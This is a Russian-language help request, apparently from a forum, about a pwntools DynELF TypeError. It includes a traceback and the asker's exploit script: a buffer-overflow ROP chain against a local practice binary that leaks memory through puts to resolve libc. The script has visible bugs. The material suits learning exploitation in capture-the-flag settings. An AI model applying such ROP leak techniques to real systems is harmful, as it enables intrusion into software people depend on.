Я пытался использовать модуль DynELF. Но эта ошибка выскочила.
Информация об ошибке:
Traceback (most recent call last):
File "solve.py", line 30, in <module>
d = DynELF(leak,0x400550, elf = ELF('./pwn'))
File "/home/soinux/.local/lib/python3.7/site-packages/pwnlib/dynelf.py", line 182, in __init__
self.libbase = self._find_base(pointer or elf.address)
File "/home/soinux/.local/lib/python3.7/site-packages/pwnlib/dynelf.py", line 295, in _find_base
if self.leak.compare(ptr, '\x7fELF'):
File "/home/soinux/.local/lib/python3.7/site-packages/pwnlib/memleak.py", line 546, in compare
for i, byte in enumerate(bytearray(bts)):
TypeError: string argument without an encoding
Я использую это так:
from pwn import *
e = ELF('./pwn')
sh = process('./pwn')
pop_rdi = 0x400763
puts_plt = e.plt['puts']
start = 0x400550
def leak(address):
payload = b'a' * 0x48
payload += p64(pop_rdi) + p64(address)
payload += p64(puts_plt)
payload += p64(start)
payload.ljust(200)
sh.send(payload)
r.recvuntil(b"bye~\n")
pre_rv = b''
data = b''
while True:
rv = sh.recv(numb=1, timeout=0.1)
if pre_rv == b'\n' and rv == b'':
data = data[:-1]
data += b'\x00'
break
else:
data += rv
pre_rv = rv
return data
d = DynELF(leak,elf = ELF('./pwn'))
Не работает ли моя функция утечки? Или в этом модуле есть небольшая ошибка? (Я уверен, что я использую последнюю версию pwntools.)